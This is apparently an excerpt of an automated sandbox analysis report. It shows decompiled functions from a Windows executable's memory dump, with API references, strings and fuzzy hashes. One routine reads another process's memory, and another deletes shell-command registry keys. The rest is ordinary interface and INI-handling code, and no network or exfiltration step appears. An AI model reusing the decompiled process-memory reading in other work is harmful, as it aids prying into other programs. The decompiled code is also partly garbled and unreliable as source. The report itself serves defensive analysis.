						_t56 = 0x40c4e8;
						if(_t76 != 0) {
							_t56 = _t76;
						}
						_t26 = _t70 + 2; // 0x2
						_t66 = _t70 + _t26;
						_t57 = ReadProcessMemory(_a16, _a12, _t56, _t70 + _t26,  &_v8);
						_t85 = _t76;
						if(_t76 == 0) {
							_t76 = 0x40c4e8;
						}
						E004055F9(_t57 | 0xffffffff,  &_v564, _t76);
						_t69 = E004022D5(_t66, _t68, _t85, _a4,  &_v22292);
						E004055D1(_t61,  &_v28);
					}
					E004055D1(CloseHandle(_a16),  &_v564);
				}
				return _t69;
			}

0x00401ac9
0x00401ad1
0x00401ae1
0x00401ae7
0x00401ae9
0x00401aec
0x00401c1b
0x00401af2
0x00401af2
0x00401af8
0x00401b0c
0x00401b1a
0x00401bfd
0x00401b20
0x00401b26
0x00401b2b
0x00401b36
0x00401b40
0x00401b43
0x00401b4a
0x00401b54
0x00401b55
0x00401b56
0x00401b57
0x00401b58
0x00401b63
0x00401b68
0x00401b69
0x00401b77
0x00401b7d
0x00401b82
0x00401b82
0x00401b88
0x00401b8b
0x00401b8e
0x00401b91
0x00401b98
0x00401b9b
0x00401ba0
0x00401ba5
0x00401baa
0x00401bac
0x00401bac
0x00401bb2
0x00401bb2
0x00401bbe
0x00401bc4
0x00401bc6
0x00401bc8
0x00401bc8
0x00401bd7
0x00401bee
0x00401bf0
0x00401bf0
0x00401c0e
0x00401c0e
0x00401c23

APIs

OpenProcess.KERNEL32(00000010,00000000,0040864F,00000000,?,00000000,?,0040864F,?,?,?,00000000), ref: 00401AE1
ReadProcessMemory.KERNEL32(0040864F,?,?,000054F4,00000000,?,0040864F,?,?,?,00000000), ref: 00401B12
memset.MSVCRT ref: 00401B4A
ReadProcessMemory.KERNEL32(?,?,0040C4E8,00000002,00000000), ref: 00401BBE
_snwprintf.MSVCRT ref: 00401B69

Part of subcall function 004055D1: free.MSVCRT(?,00405843,00000000,?,00000000), ref: 004055DA

Part of subcall function 0040559A: free.MSVCRT(?,00000000,?,004057E1,00000000,?,00000000), ref: 004055AA

GetLastError.KERNEL32(?,0040864F,?,?,?,00000000), ref: 00401BF7
CloseHandle.KERNEL32(0040864F,?,0040864F,?,?,?,00000000), ref: 00401C02
GetLastError.KERNEL32(?,0040864F,?,?,?,00000000), ref: 00401C15

Strings

%d %I64x, xrefs: 00401B58

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Process$ErrorLastMemoryReadfree$CloseHandleOpen_snwprintfmemset
String ID: %d %I64x
API String ID: 2567117392-2565891505
Opcode ID: 5737760d75e23d64ab9fab178ee98ead68544078704ee144899d5a68802ac3f7
Instruction ID: f77edfd559f5df329b7cfb23e65bd27f477c8a0de7d8607e39e5f26d9e4a317c
Opcode Fuzzy Hash: 5737760d75e23d64ab9fab178ee98ead68544078704ee144899d5a68802ac3f7
Instruction Fuzzy Hash: FE312A72900519EBDB10EF959C859EE7779EF44304F40057AF504B3291DB349E45CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 004045BA, Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 63
registryCOMMON

Download Yara Rule

C-Code - Quality: 39%

			E004045BA(void* __ebx, void* __ecx, void* __eflags) {
				void* _v8;
				void _v2054;
				short _v2056;
				void _v4102;
				short _v4104;
				signed int _t28;
				void* _t34;

				E0040B550(0x1004, __ecx);
				_t36 = 0;
				if(E004043F8( &_v8, 0x2001f) == 0) {
					_v2056 = 0;
					memset( &_v2054, 0, 0x7fe);
					_v4104 = 0;
					memset( &_v4102, 0, 0x7fe);
					_t34 = __ebx + 0x20a;
					_push(_t34);
					_push(__ebx);
					_push(L"%s\\shell\\%s\\command");
					_push(0x3ff);
					_push( &_v2056);
					L0040B1EC();
					_push(_t34);
					_push(__ebx);
					_push(L"%s\\shell\\%s");
					_push(0x3ff);
					_push( &_v4104);
					L0040B1EC();
					RegDeleteKeyW(_v8,  &_v2056);
					_t28 = RegDeleteKeyW(_v8,  &_v4104);
					asm("sbb esi, esi");
					_t36 =  ~_t28 + 1;
					RegCloseKey(_v8);
				}
				return _t36;
			}

0x004045c2
0x004045d1
0x004045da
0x004045ef
0x004045f6
0x00404604
0x0040460b
0x00404610
0x00404616
0x00404617
0x00404618
0x00404628
0x00404629
0x0040462a
0x0040462f
0x00404630
0x00404631
0x0040463c
0x0040463d
0x0040463e
0x00404656
0x00404662
0x0040466b
0x0040466d
0x0040466e
0x00404674
0x00404679

APIs

memset.MSVCRT ref: 004045F6
memset.MSVCRT ref: 0040460B
_snwprintf.MSVCRT ref: 0040462A
_snwprintf.MSVCRT ref: 0040463E
RegDeleteKeyW.ADVAPI32(?,?), ref: 00404656
RegDeleteKeyW.ADVAPI32(?,?), ref: 00404662
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,0002001F,?,?,00403904), ref: 0040466E

Strings

%s\shell\%s, xrefs: 00404631
%s\shell\%s\command, xrefs: 00404618

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Delete_snwprintfmemset$Close
String ID: %s\shell\%s$%s\shell\%s\command
API String ID: 1018939227-3575174989
Opcode ID: eb03526f09382e5b45fdf89eb122c4fe483ff347ce29f2f8469749f4b5604f89
Instruction ID: ac83cb79e3d5854fe24d0bbfc9a3a323e310d753dc8b3985e5e0c668aff5e890
Opcode Fuzzy Hash: eb03526f09382e5b45fdf89eb122c4fe483ff347ce29f2f8469749f4b5604f89
Instruction Fuzzy Hash: 2F115E72800128BACB2097958D45ECBBABCEF49794F0001B6BA08F2151D7745F449AED

Uniqueness

Uniqueness Score: -1.00%

Function 0040313D, Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 52
libraryloaderwindowCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0040313D(void* __ecx) {
				intOrPtr _v8;
				char _v12;
				struct HWND__* _t6;
				_Unknown_base(*)()* _t11;
				struct HWND__* _t15;
				void* _t20;
				struct HINSTANCE__* _t23;

				_v12 = 8;
				_v8 = 0xff;
				_t15 = 0;
				_t20 = 0;
				_t23 = LoadLibraryW(L"comctl32.dll");
				if(_t23 == 0) {
					L5:
					__imp__#17();
					_t6 = 1;
					L6:
					if(_t6 != 0) {
						return 1;
					} else {
						MessageBoxW(_t6, L"Error: Cannot load the common control classes.", L"Error", 0x30);
						return 0;
					}
				}
				_t11 = GetProcAddress(_t23, "InitCommonControlsEx");
				if(_t11 != 0) {
					_t20 = 1;
					_t15 =  *_t11( &_v12);
				}
				FreeLibrary(_t23);
				if(_t20 == 0) {
					goto L5;
				} else {
					_t6 = _t15;
					goto L6;
				}
			}

0x0040314a
0x00403151
0x00403158
0x0040315a
0x00403162
0x00403166
0x00403190
0x00403190
0x00403198
0x00403199
0x0040319e
0x004031bb
0x004031a0
0x004031ad
0x004031b6
0x004031b6
0x0040319e
0x0040316e
0x00403176
0x0040317c
0x0040317f
0x0040317f
0x00403182
0x0040318a
0x00000000
0x0040318c
0x0040318c
0x00000000
0x0040318c

APIs

LoadLibraryW.KERNEL32(comctl32.dll,00000000,?,00000002,?,?,?,0040854B,00000000,?,00000002,?,0040B45E,00000000,?,0000000A), ref: 0040315C
GetProcAddress.KERNEL32(00000000,InitCommonControlsEx), ref: 0040316E
FreeLibrary.KERNEL32(00000000,?,00000002,?,?,?,0040854B,00000000,?,00000002,?,0040B45E,00000000,?,0000000A), ref: 00403182
#17.COMCTL32(?,00000002,?,?,?,0040854B,00000000,?,00000002,?,0040B45E,00000000,?,0000000A), ref: 00403190
MessageBoxW.USER32(00000001,Error: Cannot load the common control classes.,Error,00000030), ref: 004031AD

Strings

comctl32.dll, xrefs: 00403145
Error: Cannot load the common control classes., xrefs: 004031A7
InitCommonControlsEx, xrefs: 00403168
Error, xrefs: 004031A2

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Library$AddressFreeLoadMessageProc
String ID: Error$Error: Cannot load the common control classes.$InitCommonControlsEx$comctl32.dll
API String ID: 2780580303-317687271
Opcode ID: 8a767b45678d51ce81ad3698ee4bc8fb41a4868eaadb3cd6c21e495a7a6e88df
Instruction ID: 155fb52d9805f4d7e0650ae201b0fcd9156dc3619c14d31e00ff2d1348fe2513
Opcode Fuzzy Hash: 8a767b45678d51ce81ad3698ee4bc8fb41a4868eaadb3cd6c21e495a7a6e88df
Instruction Fuzzy Hash: 5A01D672751201EAD3115FB4AC89F7B7EACDF4974AB00023AF505F51C0DA78DA01869C

Uniqueness

Uniqueness Score: -1.00%

Function 00404DA9, Relevance: 15.1, APIs: 10, Instructions: 111
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00404DA9(void* __edx, struct HWND__* _a4, signed int _a8) {
				struct HWND__* _v8;
				struct HWND__* _v12;
				struct tagRECT _v28;
				struct tagRECT _v44;
				int _t50;
				long _t61;
				struct HDC__* _t63;
				intOrPtr _t65;
				intOrPtr _t68;
				struct HWND__* _t71;
				intOrPtr _t72;
				void* _t73;
				int _t74;
				int _t80;
				int _t83;

				_t73 = __edx;
				_v8 = 0;
				_v12 = 0;
				_t74 = GetSystemMetrics(0x11);
				_t80 = GetSystemMetrics(0x10);
				if(_t74 == 0 || _t80 == 0) {
					_t63 = GetDC(0);
					_t80 = GetDeviceCaps(_t63, 8);
					_t74 = GetDeviceCaps(_t63, 0xa);
					ReleaseDC(0, _t63);
				}
				GetWindowRect(_a4,  &_v44);
				if((_a8 & 0x00000004) != 0) {
					_t71 = GetParent(_a4);
					if(_t71 != 0) {
						_v28.left = _v28.left & 0x00000000;
						asm("stosd");
						asm("stosd");
						asm("stosd");
						GetWindowRect(_t71,  &_v28);
						_t61 = _v28.left;
						_t72 = _v28.top;
						_t80 = _v28.right - _t61 + 1;
						_t74 = _v28.bottom - _t72 + 1;
						_v8 = _t61;
						_v12 = _t72;
					}
				}
				_t65 = _v44.right;
				if((_a8 & 0x00000001) == 0) {
					asm("cdq");
					_t83 = (_v44.left - _t65 + _t80 - 1 - _t73 >> 1) + _v8;
				} else {
					_t83 = 0;
				}
				_t68 = _v44.bottom;
				if((_a8 & 0x00000002) != 0) {
					L11:
					_t50 = 0;
					goto L12;
				} else {
					asm("cdq");
					_t50 = (_v44.top - _t68 + _t74 - 1 - _t73 >> 1) + _v12;
					if(_t50 >= 0) {
						L12:
						if(_t83 < 0) {
							_t83 = 0;
						}
						return MoveWindow(_a4, _t83, _t50, _t65 - _v44.left + 1, _t68 - _v44.top + 1, 1);
					}
					goto L11;
				}
			}

0x00404da9
0x00404dbc
0x00404dbf
0x00404dc6
0x00404dcc
0x00404dce
0x00404de1
0x00404deb
0x00404df2
0x00404df4
0x00404df4
0x00404e07
0x00404e0d
0x00404e18
0x00404e1c
0x00404e1e
0x00404e27
0x00404e28
0x00404e29
0x00404e2f
0x00404e31
0x00404e37
0x00404e41
0x00404e42
0x00404e43
0x00404e46
0x00404e46
0x00404e1c
0x00404e4d
0x00404e50
0x00404e5f
0x00404e66
0x00404e52
0x00404e52
0x00404e52
0x00404e6d
0x00404e70
0x00404e85
0x00404e85
0x00000000
0x00404e72
0x00404e7b
0x00404e80
0x00404e83
0x00404e87
0x00404e89
0x00404e8b
0x00404e8b
0x00404ea8
0x00404ea8
0x00000000
0x00404e83

APIs

GetSystemMetrics.USER32 ref: 00404DC2
GetSystemMetrics.USER32 ref: 00404DC8
GetDC.USER32(00000000), ref: 00404DD5
GetDeviceCaps.GDI32(00000000,00000008), ref: 00404DE6
GetDeviceCaps.GDI32(00000000,0000000A), ref: 00404DED
ReleaseDC.USER32 ref: 00404DF4
GetWindowRect.USER32 ref: 00404E07
GetParent.USER32(?), ref: 00404E12
GetWindowRect.USER32 ref: 00404E2F
MoveWindow.USER32(?,?,00000000,?,?,00000001), ref: 00404E9E

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$CapsDeviceMetricsRectSystem$MoveParentRelease
String ID:
API String ID: 2163313125-0
Opcode ID: 4dffefead20de85e77f0f51142770c5402b7e424f6febd7d4428018e65d0f7f4
Instruction ID: fcbc432c8b17a9ec8ea4481816a0c35ab2ad0e4d246cd47a42b035ba49fba047
Opcode Fuzzy Hash: 4dffefead20de85e77f0f51142770c5402b7e424f6febd7d4428018e65d0f7f4
Instruction Fuzzy Hash: D63197B1900219AFDB10DFB8CD84AEEBBB8EB44314F054179EE05B7291D674AD418B94

Uniqueness

Uniqueness Score: -1.00%

Function 00406398, Relevance: 14.0, APIs: 3, Strings: 5, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E00406398(void* __eflags, wchar_t* _a4) {
				void* __esi;
				void* _t3;
				int _t6;

				_t3 = E00404AAA(_a4);
				if(_t3 != 0) {
					wcscpy(0x40fb90, _a4);
					wcscpy(0x40fda0, L"general");
					_t6 = GetPrivateProfileIntW(0x40fda0, L"rtl", 0, 0x40fb90);
					asm("sbb eax, eax");
					 *0x40fe28 =  ~(_t6 - 1) + 1;
					E00405F14(0x40fe30, L"charset", 0x3f);
					E00405F14(0x40feb0, L"TranslatorName", 0x3f);
					return E00405F14(0x40ff30, L"TranslatorURL", 0xff);
				}
				return _t3;
			}

0x0040639c
0x004063a4
0x004063b2
0x004063c2
0x004063d3
0x004063dc
0x004063eb
0x004063f0
0x00406401
0x00000000
0x0040641e
0x0040641f

APIs

Part of subcall function 00404AAA: GetFileAttributesW.KERNEL32(?,004063A1,?,00406458,00000000,?,00000000,00000208,?), ref: 00404AAE

wcscpy.MSVCRT ref: 004063B2
wcscpy.MSVCRT ref: 004063C2
GetPrivateProfileIntW.KERNEL32 ref: 004063D3

Part of subcall function 00405F14: GetPrivateProfileStringW.KERNEL32(0040FDA0,?,0040C4E8,0040FE30,?,0040FB90), ref: 00405F30

Strings

rtl, xrefs: 004063CD
TranslatorName, xrefs: 004063F7
TranslatorURL, xrefs: 0040640B
charset, xrefs: 004063E1
general, xrefs: 004063B7

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: PrivateProfilewcscpy$AttributesFileString
String ID: TranslatorName$TranslatorURL$charset$general$rtl
API String ID: 3176057301-2039793938
Opcode ID: 306b450fceaff8e5fb1a61115cabefaaa5d3384cfa9206dbc7cfbd8e55437a99
Instruction ID: e4db3026d56c82c297763cb3084dd600e002768b85b35a6fcc1e36585c673314
Opcode Fuzzy Hash: 306b450fceaff8e5fb1a61115cabefaaa5d3384cfa9206dbc7cfbd8e55437a99
Instruction Fuzzy Hash: E2F09032EA422276EA203321DC4BF2B2555CBD1B18F15417BBA08BA5D3DB7C580645ED

Uniqueness

Uniqueness Score: -1.00%

Function 0040ADF1, Relevance: 13.6, APIs: 3, Strings: 6, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 16%

			E0040ADF1(signed short* __eax, void* __ecx) {
				void* _t2;
				signed short* _t3;
				void* _t7;
				void* _t8;
				void* _t10;

				_t3 = __eax;
				_t8 = __ecx;
				_t7 = 8;
				while(1) {
					_t2 =  *_t3 & 0x0000ffff;
					if(_t2 != 0x3c) {
						goto L3;
					}
					_push(_t7);
					_push(L"&lt;");
					L14:
					_t2 = memcpy(_t8, ??, ??);
					_t10 = _t10 + 0xc;
					_t8 = _t8 + _t7;
					L16:
					if( *_t3 != 0) {
						_t3 =  &(_t3[1]);
						continue;
					}
					return _t2;
					L3:
					if(_t2 != 0x3e) {
						if(_t2 != 0x22) {
							if((_t2 & 0x0000ffff) != 0xffffffb0) {
								if(_t2 != 0x26) {
									if(_t2 != 0xa) {
										 *_t8 = _t2;
										_t8 = _t8 + 2;
									} else {
										_push(_t7);
										_push(L"<br>");
										goto L14;
									}
								} else {
									_push(0xa);
									_push(L"&amp;");
									goto L11;
								}
							} else {
								_push(0xa);
								_push(L"&deg;");
								L11:
								_t2 = memcpy(_t8, ??, ??);
								_t10 = _t10 + 0xc;
								_t8 = _t8 + 0xa;
							}
						} else {
							_t2 = memcpy(_t8, L"&quot;", 0xc);
							_t10 = _t10 + 0xc;
							_t8 = _t8 + 0xc;
						}
					} else {
						_push(_t7);
						_push(L"&gt;");
						goto L14;
					}
					goto L16;
				}
			}

0x0040adf6
0x0040adf8
0x0040adfa
0x0040adfb
0x0040adfb
0x0040ae02
0x00000000
0x00000000
0x0040ae04
0x0040ae05
0x0040ae6d
0x0040ae6e
0x0040ae73
0x0040ae76
0x0040ae7f
0x0040ae83
0x0040ae86
0x00000000
0x0040ae86
0x0040ae8f
0x0040ae0c
0x0040ae10
0x0040ae1e
0x0040ae3b
0x0040ae4a
0x0040ae65
0x0040ae7a
0x0040ae7e
0x0040ae67
0x0040ae67
0x0040ae68
0x00000000
0x0040ae68
0x0040ae4c
0x0040ae4c
0x0040ae4e
0x00000000
0x0040ae4e
0x0040ae3d
0x0040ae3d
0x0040ae3f
0x0040ae53
0x0040ae54
0x0040ae59
0x0040ae5c
0x0040ae5c
0x0040ae20
0x0040ae28
0x0040ae2d
0x0040ae30
0x0040ae30
0x0040ae12
0x0040ae12
0x0040ae13
0x00000000
0x0040ae13
0x00000000
0x0040ae10

APIs

memcpy.MSVCRT ref: 0040AE28
memcpy.MSVCRT ref: 0040AE54
memcpy.MSVCRT ref: 0040AE6E

Strings

<, xrefs: 0040AE05
>, xrefs: 0040AE13
°, xrefs: 0040AE3F
&, xrefs: 0040AE4E
", xrefs: 0040AE22
<br>, xrefs: 0040AE68

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy
String ID: &$°$>$<$"$<br>
API String ID: 3510742995-3273207271
Opcode ID: 5ac42ab936778c43cffeb329e7503942126618bb1fc858f85522d1c9693fd2c2
Instruction ID: 19d6e8f9099fa728be05f60bd268fa70c064aa74fae363856be53b9475c854a8
Opcode Fuzzy Hash: 5ac42ab936778c43cffeb329e7503942126618bb1fc858f85522d1c9693fd2c2
Instruction Fuzzy Hash: FE01D25AEC8320A5EA302055DC86F7B2514D7B2B51FA5013BB986392C1E2BD09A7A1DF

Uniqueness

Uniqueness Score: -1.00%

Function 004041EB, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 197
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004041EB(intOrPtr* __ecx, intOrPtr _a4, void* _a8, intOrPtr _a12) {
				struct HDWP__* _v8;
				intOrPtr* _v12;
				void _v534;
				short _v536;
				void* __ebx;
				void* __edi;
				intOrPtr _t42;
				intOrPtr* _t95;
				RECT* _t96;

				_t95 = __ecx;
				_v12 = __ecx;
				if(_a4 == 0x233) {
					_v536 = 0;
					memset( &_v534, 0, 0x208);
					DragQueryFileW(_a8, 0,  &_v536, 0x104);
					DragFinish(_a8);
					 *((intOrPtr*)( *_t95 + 4))(0);
					E00404923(0x104, _t95 + 0x1680,  &_v536);
					 *((intOrPtr*)( *_v12 + 4))(1);
					_t95 = _v12;
				}
				if(_a4 != 5) {
					if(_a4 != 0xf) {
						if(_a4 == 0x24) {
							_t42 = _a12;
							 *((intOrPtr*)(_t42 + 0x18)) = 0x1f4;
							 *((intOrPtr*)(_t42 + 0x1c)) = 0x12c;
						}
					} else {
						E00402EC8(_t95 + 0x40);
					}
				} else {
					_v8 = BeginDeferWindowPos(0xd);
					_t96 = _t95 + 0x40;
					E00402E22(_t96, _t44, 0x401, 1, 1, 0, 0);
					E00402E22(_t96, _v8, 2, 1, 1, 0, 0);
					E00402E22(_t96, _v8, 0x419, 1, 1, 0, 0);
					E00402E22(_t96, _v8, 0x40f, 1, 1, 0, 0);
					E00402E22(_t96, _v8, 0x40e, 1, 1, 0, 0);
					E00402E22(_t96, _v8, 0x40d, 1, 1, 0, 0);
					E00402E22(_t96, _v8, 0x3fb, 0, 0, 1, 1);
					E00402E22(_t96, _v8, 0x3fd, 0, 0, 1, 1);
					E00402E22(_t96, _v8, 0x402, 0, 0, 1, 0);
					E00402E22(_t96, _v8, 0x3e9, 0, 0, 1, 0);
					E00402E22(_t96, _v8, 0x3ea, 0, 0, 1, 0);
					E00402E22(_t96, _v8, 0x3ee, 1, 0, 0, 0);
					E00402E22(_t96, _v8, 0x3f3, 1, 0, 0, 0);
					E00402E22(_t96, _v8, 0x404, 0, 0, 1, 0);
					E00402E22(_t96, _v8, 0x3f6, 1, 0, 0, 0);
					EndDeferWindowPos(_v8);
					InvalidateRect( *(_t96 + 0x10), _t96, 1);
					_t95 = _v12;
				}
				return E00402CED(_t95, _a4, _a8, _a12);
			}

0x004041f9
0x00404205
0x00404208
0x00404217
0x0040421e
0x00404236
0x0040423f
0x0040424a
0x0040425f
0x0040426b
0x0040426e
0x0040426e
0x00404275
0x004043be
0x004043ce
0x004043d0
0x004043d3
0x004043da
0x004043da
0x004043c0
0x004043c3
0x004043c3
0x0040427b
0x0040428c
0x0040428f
0x00404295
0x004042a5
0x004042b8
0x004042cb
0x004042de
0x004042f1
0x00404304
0x00404317
0x0040432a
0x0040433d
0x00404350
0x00404363
0x00404376
0x00404389
0x0040439c
0x004043a4
0x004043af
0x004043b5
0x004043b5
0x004043f5

APIs

memset.MSVCRT ref: 0040421E
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 00404236
DragFinish.SHELL32(?), ref: 0040423F

Part of subcall function 00404923: wcslen.MSVCRT ref: 0040492A
Part of subcall function 00404923: memcpy.MSVCRT ref: 00404940

Part of subcall function 00402E22: GetDlgItem.USER32 ref: 00402E32
Part of subcall function 00402E22: GetClientRect.USER32 ref: 00402E44
Part of subcall function 00402E22: DeferWindowPos.USER32 ref: 00402EB4

BeginDeferWindowPos.USER32(0000000D), ref: 0040427D
EndDeferWindowPos.USER32(?), ref: 004043A4
InvalidateRect.USER32(?,?,00000001), ref: 004043AF

Strings

$, xrefs: 004043CA

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: DeferWindow$DragRect$BeginClientFileFinishInvalidateItemQuerymemcpymemsetwcslen
String ID: $
API String ID: 2142561256-3993045852
Opcode ID: c61b63023b15630986e37261bc436ca147b25cc6efa51280a6e109230e3069b6
Instruction ID: d1d17b09954fcbdb96c5267886444c332edca9ead5b56a9d6021aa5aec52b2c2
Opcode Fuzzy Hash: c61b63023b15630986e37261bc436ca147b25cc6efa51280a6e109230e3069b6
Instruction Fuzzy Hash: F1518EB064011CBFEB126B52CDC9DBF7E6DEF45398F104065BA05792D1C6B84E05EAB4

Uniqueness

Uniqueness Score: -1.00%

Function 00405B81, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 55%

			E00405B81(signed short __ebx) {
				signed int _t21;
				void* _t22;
				struct HINSTANCE__* _t25;
				signed int _t27;
				void* _t35;
				signed short _t39;
				signed int _t40;
				void* _t57;
				int _t61;
				void* _t62;
				int _t71;

				_t39 = __ebx;
				if( *0x41c470 == 0) {
					E00405ADF();
				}
				_t40 =  *0x41c468;
				_t21 = 0;
				if(_t40 <= 0) {
					L5:
					_t57 = 0;
				} else {
					while(_t39 !=  *((intOrPtr*)( *0x41c460 + _t21 * 4))) {
						_t21 = _t21 + 1;
						if(_t21 < _t40) {
							continue;
						} else {
							goto L5;
						}
						goto L6;
					}
					_t57 =  *0x41c458 +  *( *0x41c464 + _t21 * 4) * 2;
				}
				L6:
				if(_t57 != 0) {
					L21:
					_t22 = _t57;
				} else {
					if((_t39 & 0x00010000) == 0) {
						if( *0x40fb90 == 0) {
							_push( *0x41c478 - 1);
							_push( *0x41c45c);
							_push(_t39);
							_t25 = E00405CE7();
							goto L15;
						} else {
							wcscpy(0x40fda0, L"strings");
							_t35 = E00405EDD(_t39,  *0x41c45c);
							_t62 = _t62 + 0x10;
							if(_t35 == 0) {
								L13:
								_t25 = GetModuleHandleW(0);
								_push( *0x41c478 - 1);
								_push( *0x41c45c);
								_push(_t39);
								goto L15;
							} else {
								_t61 = wcslen( *0x41c45c);
								if(_t61 == 0) {
									goto L13;
								}
							}
						}
					} else {
						_t25 = GetModuleHandleW(_t57);
						_push( *0x41c478 - 1);
						_push( *0x41c45c);
						_push(_t39 & 0x0000ffff);
						L15:
						_t61 = LoadStringW(_t25, ??, ??, ??);
						_t71 = _t61;
					}
					if(_t71 <= 0) {
						L20:
						_t22 = 0x40c4e8;
					} else {
						_t27 =  *0x41c46c;
						if(_t27 + _t61 + 2 >=  *0x41c470 ||  *0x41c468 >=  *0x41c474) {
							goto L20;
						} else {
							_t57 =  *0x41c458 + _t27 * 2;
							_t14 = _t61 + 2; // 0x2
							memcpy(_t57,  *0x41c45c, _t61 + _t14);
							 *( *0x41c464 +  *0x41c468 * 4) =  *0x41c46c;
							 *( *0x41c460 +  *0x41c468 * 4) = _t39;
							 *0x41c468 =  *0x41c468 + 1;
							 *0x41c46c =  *0x41c46c + _t61 + 1;
							if(_t57 != 0) {
								goto L21;
							} else {
								goto L20;
							}
						}
					}
				}
				return _t22;
			}

0x00405b81
0x00405b88
0x00405b8a
0x00405b8a
0x00405b8f
0x00405b96
0x00405b9b
0x00405bad
0x00405bad
0x00405b9d
0x00405b9d
0x00405ba8
0x00405bab
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405bab
0x00405be9
0x00405be9
0x00405baf
0x00405bb1
0x00405ce2
0x00405ce2
0x00405bb7
0x00405bbd
0x00405bf6
0x00405c4b
0x00405c4c
0x00405c52
0x00405c53
0x00000000
0x00405bf8
0x00405c02
0x00405c0e
0x00405c13
0x00405c18
0x00405c2c
0x00405c2e
0x00405c3b
0x00405c3c
0x00405c42
0x00000000
0x00405c1a
0x00405c25
0x00405c2a
0x00000000
0x00000000
0x00405c2a
0x00405c18
0x00405bbf
0x00405bc0
0x00405bcd
0x00405bce
0x00405bd7
0x00405c58
0x00405c5f
0x00405c61
0x00405c61
0x00405c63
0x00405cdb
0x00405cdb
0x00405c65
0x00405c65
0x00405c74
0x00000000
0x00405c84
0x00405c8a
0x00405c8d
0x00405c99
0x00405caf
0x00405cbd
0x00405cc8
0x00405cd4
0x00405cd9
0x00000000
0x00000000
0x00000000
0x00000000
0x00405cd9
0x00405c74
0x00405c63
0x00405ce6

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00403490), ref: 00405BC0
wcscpy.MSVCRT ref: 00405C02

Part of subcall function 00405EDD: memset.MSVCRT ref: 00405EF0
Part of subcall function 00405EDD: _itow.MSVCRT ref: 00405EFE

wcslen.MSVCRT ref: 00405C20
GetModuleHandleW.KERNEL32(00000000,?,?,?,00403490), ref: 00405C2E
LoadStringW.USER32(00000000,000001F5,?), ref: 00405C59
memcpy.MSVCRT ref: 00405C99

Part of subcall function 00405ADF: ??2@YAPAXI@Z.MSVCRT ref: 00405B19
Part of subcall function 00405ADF: ??2@YAPAXI@Z.MSVCRT ref: 00405B37
Part of subcall function 00405ADF: ??2@YAPAXI@Z.MSVCRT ref: 00405B55
Part of subcall function 00405ADF: ??2@YAPAXI@Z.MSVCRT ref: 00405B73

Strings

strings, xrefs: 00405BF8

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
